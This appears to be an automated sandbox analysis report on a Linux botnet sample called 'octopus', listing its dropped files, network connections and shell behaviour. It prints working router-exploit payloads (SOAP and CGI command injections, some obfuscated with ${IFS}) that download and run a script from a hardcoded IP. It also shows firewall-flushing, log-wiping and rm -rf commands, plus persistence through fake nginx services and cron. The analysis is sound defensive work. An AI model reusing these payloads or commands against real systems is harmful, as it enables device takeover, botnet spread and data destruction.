SHA1:	E11CA8ACB754DE91B83EF140E93C1CFE19C3DEB3
SHA-256:	B55B0AC27D145DAEC50E11F9AE7C32D9DDB292355FCF37EEE174F2AD1D0BE6D5
SHA-512:	861D057FE0CC3CCE8F0F9481981E0D2B9A36AEA524C33670DA35C92FFD4D152D896F70B96861CEFE1628DE8DCFE589F7645F1DE333A6C6ABE062F64CCE134544
Malicious:	true
Joe Sandbox View:	Filename: oc_i686.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh..# nginx - high performance web server..case "$1" in. start). /tmp/systems. ;;. *). echo "Usage: $0 {start}". exit 1. ;;.esac.

/etc/octopus

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	122
Entropy (8bit):	4.57255537087793
Encrypted:	false
SSDEEP:	3:TKH4vGBwV9KBCARFa66LU9VXW6KzSGdpWsGRKpWsZKVXW9:hDoBNFGLU9VXW6KlpWRUWsZUW9
MD5:	E8678420D154FCC2E51480B72D258C8C
SHA1:	46400EA6144D217E209B3BA8E2F1AC0C74037D06
SHA-256:	9BD3CFFCCD15E08ABEE2D6BFB7263544F05F17C4F30C6A38E3DE701215261A1D
SHA-512:	790790A0ADA460F0F672925C2A0DB6AD10287DB3318377FC11E3B8CD1BDAB908C3C40F37C2F2ADF10EC2AD565C39C422B1037BB3460BDBD83B200C86FA5B25D0
Malicious:	true
Preview:	#!/bin/sh.cd /tmp;rm -rf /tmp/*; wget http://149.88.81.199/octopus.sh;chmod 777 octopus.sh;./octopus.sh;rm -rf octopus.sh.

/etc/systemd/system/nginnx.service

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.929516091664571
Encrypted:	false
SSDEEP:	3:zMZa7mCSIFd5XhohAmO2yTMkzRXEcEnG9oIgQ+KPALKKWLQiqESkQmWA1+DRvn:z8dChoW92AMYFUIX+K4LKKWLUELQmWAe
MD5:	DE22A360891BB2BDC29077DAE4EB340B
SHA1:	D3DA98D44DE22BB131239A58FDCD6B2F19AB1496
SHA-256:	FED8E265B92475D08D9EB98AF6CF9B01EC0A009C06E175EFEDEA0A644097D370
SHA-512:	D8B1CCA8AAEB14F213E1D160A86CEA0F4F662A336F2EC0BD028CD309ED66C31F68B0196565A9FCFCF9078D384823D0D6FDBA2DBD94CF4278894D1E29211FD3F3
Malicious:	false
Preview:	[Unit].Description=nginx - high performance web server..[Service].Restart=always.Type=forking.ExecStart=/etc/id.oc1337.conf..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/proc/sys/vm/drop_caches

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:o:o
MD5:	6D7FCE9FEE471194AA8B5B6E47267F03
SHA1:	A3DB5C13FF90A36963278C6A39E4EE3C22E2A436
SHA-256:	1121CFCCD5913F0A63FEC40A6FFD44EA64F9DC135C66634BA001D10BCF4302A2
SHA-512:	2B59D179D9815994F687383A886EA34109889756EFCA5AB27318CC67CE2A21261D12FA6FEE6B8C716F72214EAD55EE0D789D6C35CFF977D40EF5728BA9188A80
Malicious:	false
Preview:	3.

/usr/lib/systemd/system/nginnx.service

Download File

Process:	/tmp/oc_x86_64.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	243
Entropy (8bit):	4.855678837730091
Encrypted:	false
SSDEEP:	6:z8dChoWnk9RBADMD+ns7HrfI17HrftsRs7HrfQLQmWA4Rv:zTvWR2D2+nsads6gLHWrv
MD5:	6097548D35A1BAE52AA3750525FC2C07
SHA1:	054163C7BA69F317CF830081E1C76D3519237B7F
SHA-256:	9718B45358DDF664C640182D7EE5E3F4FB5AB9338858BB64989A5DB67F6B84EB
SHA-512:	152890C50EABD24FF02CA050E60C8A1F3EB7EF53EF85453E35E3D07A2C1D8F1CF42D1B97761319ABDFC321C16431F66D1BCDB3CFA7CF4D1B6600B34138EBE423
Malicious:	false
Preview:	[Unit].Description=nginx - high performance web server..After=network.target.[Service].Type=forking.ExecStart=/boot/System.imgx.config.ExecReload=/boot/System.imgx.config.ExecStop=/boot/System.imgx.config..[Install].WantedBy=multi-user.target.

Source: /usr/sbin/service (PID: 5525)	Systemctl executable stopping iptables: /usr/sbin/systemctl -> systemctl stop iptables.service			Jump to behavior
Source: /usr/sbin/service (PID: 5525)	Systemctl executable stopping iptables: /usr/bin/systemctl -> systemctl stop iptables.service			Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.14:57108 -> 149.88.81.199:65535
Source: global traffic	TCP traffic: 192.168.2.14:48302 -> 189.218.245.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:39822 -> 187.173.47.96:8080
Source: global traffic	TCP traffic: 192.168.2.14:44116 -> 187.230.233.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:39992 -> 187.47.188.63:8080
Source: global traffic	TCP traffic: 192.168.2.14:48862 -> 189.31.93.23:8080
Source: global traffic	TCP traffic: 192.168.2.14:60666 -> 187.248.133.67:8080
Source: global traffic	TCP traffic: 192.168.2.14:57886 -> 187.154.188.122:8080
Source: global traffic	TCP traffic: 192.168.2.14:41840 -> 189.228.94.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:58716 -> 187.1.174.203:8080
Source: global traffic	TCP traffic: 192.168.2.14:54178 -> 189.179.223.33:8080
Source: global traffic	TCP traffic: 192.168.2.14:34602 -> 187.202.188.153:8080
Source: global traffic	TCP traffic: 192.168.2.14:53522 -> 187.167.23.5:8080

Source: /bin/sh (PID: 5501)	Iptables executable: /usr/sbin/iptables -> iptables -F	Jump to behavior
Source: /bin/sh (PID: 5533)	Iptables executable: /sbin/iptables -> /sbin/iptables -F	Jump to behavior
Source: /bin/sh (PID: 5534)	Iptables executable: /sbin/iptables -> /sbin/iptables -X	Jump to behavior

Source: /tmp/oc_x86_64.elf (PID: 5490)	Socket: 127.0.0.1:8013			Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5812)	Socket: 127.0.0.1:8013			Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 189.218.245.67
Source: unknown	TCP traffic detected without corresponding DNS query: 189.218.245.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.173.47.96
Source: unknown	TCP traffic detected without corresponding DNS query: 187.173.47.96
Source: unknown	TCP traffic detected without corresponding DNS query: 187.230.233.54
Source: unknown	TCP traffic detected without corresponding DNS query: 189.218.245.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.230.233.54
Source: unknown	TCP traffic detected without corresponding DNS query: 189.218.245.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.173.47.96
Source: unknown	TCP traffic detected without corresponding DNS query: 187.47.188.63
Source: unknown	TCP traffic detected without corresponding DNS query: 187.173.47.96
Source: unknown	TCP traffic detected without corresponding DNS query: 187.47.188.63
Source: unknown	TCP traffic detected without corresponding DNS query: 187.230.233.54
Source: unknown	TCP traffic detected without corresponding DNS query: 187.230.233.54
Source: unknown	TCP traffic detected without corresponding DNS query: 189.31.93.23
Source: unknown	TCP traffic detected without corresponding DNS query: 187.47.188.63
Source: unknown	TCP traffic detected without corresponding DNS query: 189.31.93.23
Source: unknown	TCP traffic detected without corresponding DNS query: 187.47.188.63
Source: unknown	TCP traffic detected without corresponding DNS query: 187.248.133.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.248.133.67
Source: unknown	TCP traffic detected without corresponding DNS query: 189.31.93.23
Source: unknown	TCP traffic detected without corresponding DNS query: 189.31.93.23
Source: unknown	TCP traffic detected without corresponding DNS query: 187.248.133.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.248.133.67
Source: unknown	TCP traffic detected without corresponding DNS query: 187.154.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 189.228.94.199
Source: unknown	TCP traffic detected without corresponding DNS query: 187.1.174.203
Source: unknown	TCP traffic detected without corresponding DNS query: 189.179.223.33
Source: unknown	TCP traffic detected without corresponding DNS query: 187.154.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 187.202.188.153
Source: unknown	TCP traffic detected without corresponding DNS query: 189.228.94.199
Source: unknown	TCP traffic detected without corresponding DNS query: 187.167.23.5
Source: unknown	TCP traffic detected without corresponding DNS query: 187.1.174.203
Source: unknown	TCP traffic detected without corresponding DNS query: 189.179.223.33
Source: unknown	TCP traffic detected without corresponding DNS query: 187.202.188.153
Source: unknown	TCP traffic detected without corresponding DNS query: 187.167.23.5
Source: unknown	TCP traffic detected without corresponding DNS query: 187.154.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 187.154.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 189.228.94.199
Source: unknown	TCP traffic detected without corresponding DNS query: 189.228.94.199
Source: unknown	TCP traffic detected without corresponding DNS query: 187.202.188.153
Source: unknown	TCP traffic detected without corresponding DNS query: 187.1.174.203
Source: unknown	TCP traffic detected without corresponding DNS query: 189.179.223.33
Source: unknown	TCP traffic detected without corresponding DNS query: 187.202.188.153
Source: unknown	TCP traffic detected without corresponding DNS query: 187.167.23.5
Source: unknown	TCP traffic detected without corresponding DNS query: 187.1.174.203
Source: unknown	TCP traffic detected without corresponding DNS query: 189.179.223.33
Source: unknown	TCP traffic detected without corresponding DNS query: 187.167.23.5
Source: unknown	TCP traffic detected without corresponding DNS query: 5.154.188.122
Source: unknown	TCP traffic detected without corresponding DNS query: 31.228.94.199

Source: oc_x86_64.elf, octopus.12.dr, octopus.83.dr	String found in binary or memory: http://149.88.81.199/octopus.sh;chmod
Source: oc_x86_64.elf	String found in binary or memory: http://149.88.81.199/ocwget.sh
Source: oc_x86_64.elf	String found in binary or memory: http://149.88.81.199/ocwget.sh;$
Source: oc_x86_64.elf	String found in binary or memory: http://149.88.81.199/ocwget.sh;sh
Source: oc_x86_64.elf	String found in binary or memory: http://149.88.81.199/ocwget.sh;sh$
Source: oc_x86_64.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: oc_x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: oc_x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: pkill -9 busybox
Source: Initial sample	String containing 'busybox' found: x86.64rm -rf /tmp/* /var/* /var/run/* /var/tmp/* /var/log/wtmp/sbin/iptables -F; /sbin/iptables -Xrm -rf /tmp/*iptables -Fpkill -9 busyboxpkill -9 perlpkill -9 pythonservice iptables stopservice firewall stophistory -crm -rf ~/.bash_historyhistory -w/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 149.88.81.199 -l /tmp/ocwget.sh -r /ocwget.sh; sh /tmp/ocwget.sh)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://149.88.81.199/ocwget.sh && sh /tmp/ocwget.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 149.88.81.199 -l /tmp/ocwget.sh -r /ocwget.sh; sh /tmp/ocwget.sh)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://149.88.81.199/ocwget.sh && sh /tmp/ocwget.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://149.88.81.199/ocwget.sh && sh /tmp/ocwget.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: cat /proc/$$/mountinfo \| while read -r line; do
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://149.88.81.199/ocwget.sh;sh+/tmp/ocwget.sh HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://149.88.81.199/ocwget.sh+-O+/tmp/ocwget.sh;sh+ocwget.sh&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://149.88.81.199/ocwget.sh;sh${IFS}/tmp/ocwget.sh&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS};${IFS}wget${IFS}http://149.88.81.199/ocwget.sh;${IFS}sh${IFS}/var/tmp/ocwget.sGET /board.cgi?cmd=cd+/tmp;rm+-rf+;wget+http://149.88.81.199/ocwget.sh;sh+/tmp//dev/null

Source: /tmp/oc_x86_64.elf (PID: 5490)	Written: /dev/octopus	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5550)	Written: /dev/octopus	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5812)	Written: /dev/ocmount	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5746)	Written: /dev/ocmount

Source: /bin/sh (PID: 5693)	Crontab executable: /usr/bin/crontab -> crontab -l	Jump to behavior
Source: /bin/sh (PID: 5692)	Crontab executable: /usr/bin/crontab -> crontab -	Jump to behavior
Source: /bin/sh (PID: 5667)	Crontab executable: /usr/bin/crontab -> crontab -l	Jump to behavior
Source: /bin/sh (PID: 5666)	Crontab executable: /usr/bin/crontab -> crontab -	Jump to behavior

Source: /usr/bin/chmod (PID: 5686)	File: /etc/init.d/nginnx (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5689)	File: /etc/octopus (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5658)	File: /etc/init.d/nginnx (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5661)	File: /etc/octopus (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /bin/sh (PID: 5695)	File: /etc/cron.d/scriptd	Jump to behavior
Source: /bin/sh (PID: 5816)	File: /etc/cron.d/mount.sh	Jump to behavior
Source: /bin/sh (PID: 5671)	File: /etc/cron.d/scriptd	Jump to behavior
Source: /bin/sh (PID: 5777)	File: /etc/cron.d/mount.sh

Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/php/..	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.config	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.config	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.local	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/gdm3/.local	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/snapd/assertions/asserts-v0/..	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/snapd/assertions/..	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/snapd/..	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/colord/.cache	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/systemd/deb-systemd-helper-enabled/.wants	Jump to behavior
Source: /usr/bin/rm (PID: 5492)	Directory: /var/lib/systemd/deb-systemd-helper-enabled/.wants	Jump to behavior

Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1583/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/2672/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1577/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/917/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/917/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3770/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3770/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3771/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3771/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3772/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3772/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/19/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/19/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1593/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/240/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/240/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3094/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/242/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/242/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3406/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/244/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/244/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1589/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/124/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/245/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/245/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1588/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/125/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/125/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/4/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/4/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/246/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/246/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3402/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/126/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/126/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/5/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5521)	File opened: /proc/5/cmdline	Jump to behavior

Source: /tmp/oc_x86_64.elf (PID: 5491)	Shell command executed: sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/* /var/log/wtmp"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5498)	Shell command executed: sh -c "rm -rf /tmp/*"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5500)	Shell command executed: sh -c "iptables -F"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5505)	Shell command executed: sh -c "pkill -9 busybox"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5512)	Shell command executed: sh -c "pkill -9 perl"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5520)	Shell command executed: sh -c "pkill -9 python"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5524)	Shell command executed: sh -c "service iptables stop"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5532)	Shell command executed: sh -c "/sbin/iptables -F; /sbin/iptables -X"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5536)	Shell command executed: sh -c "service firewall stop"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5546)	Shell command executed: sh -c "history -c"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5547)	Shell command executed: sh -c "rm -rf ~/.bash_history"	Jump to behavior
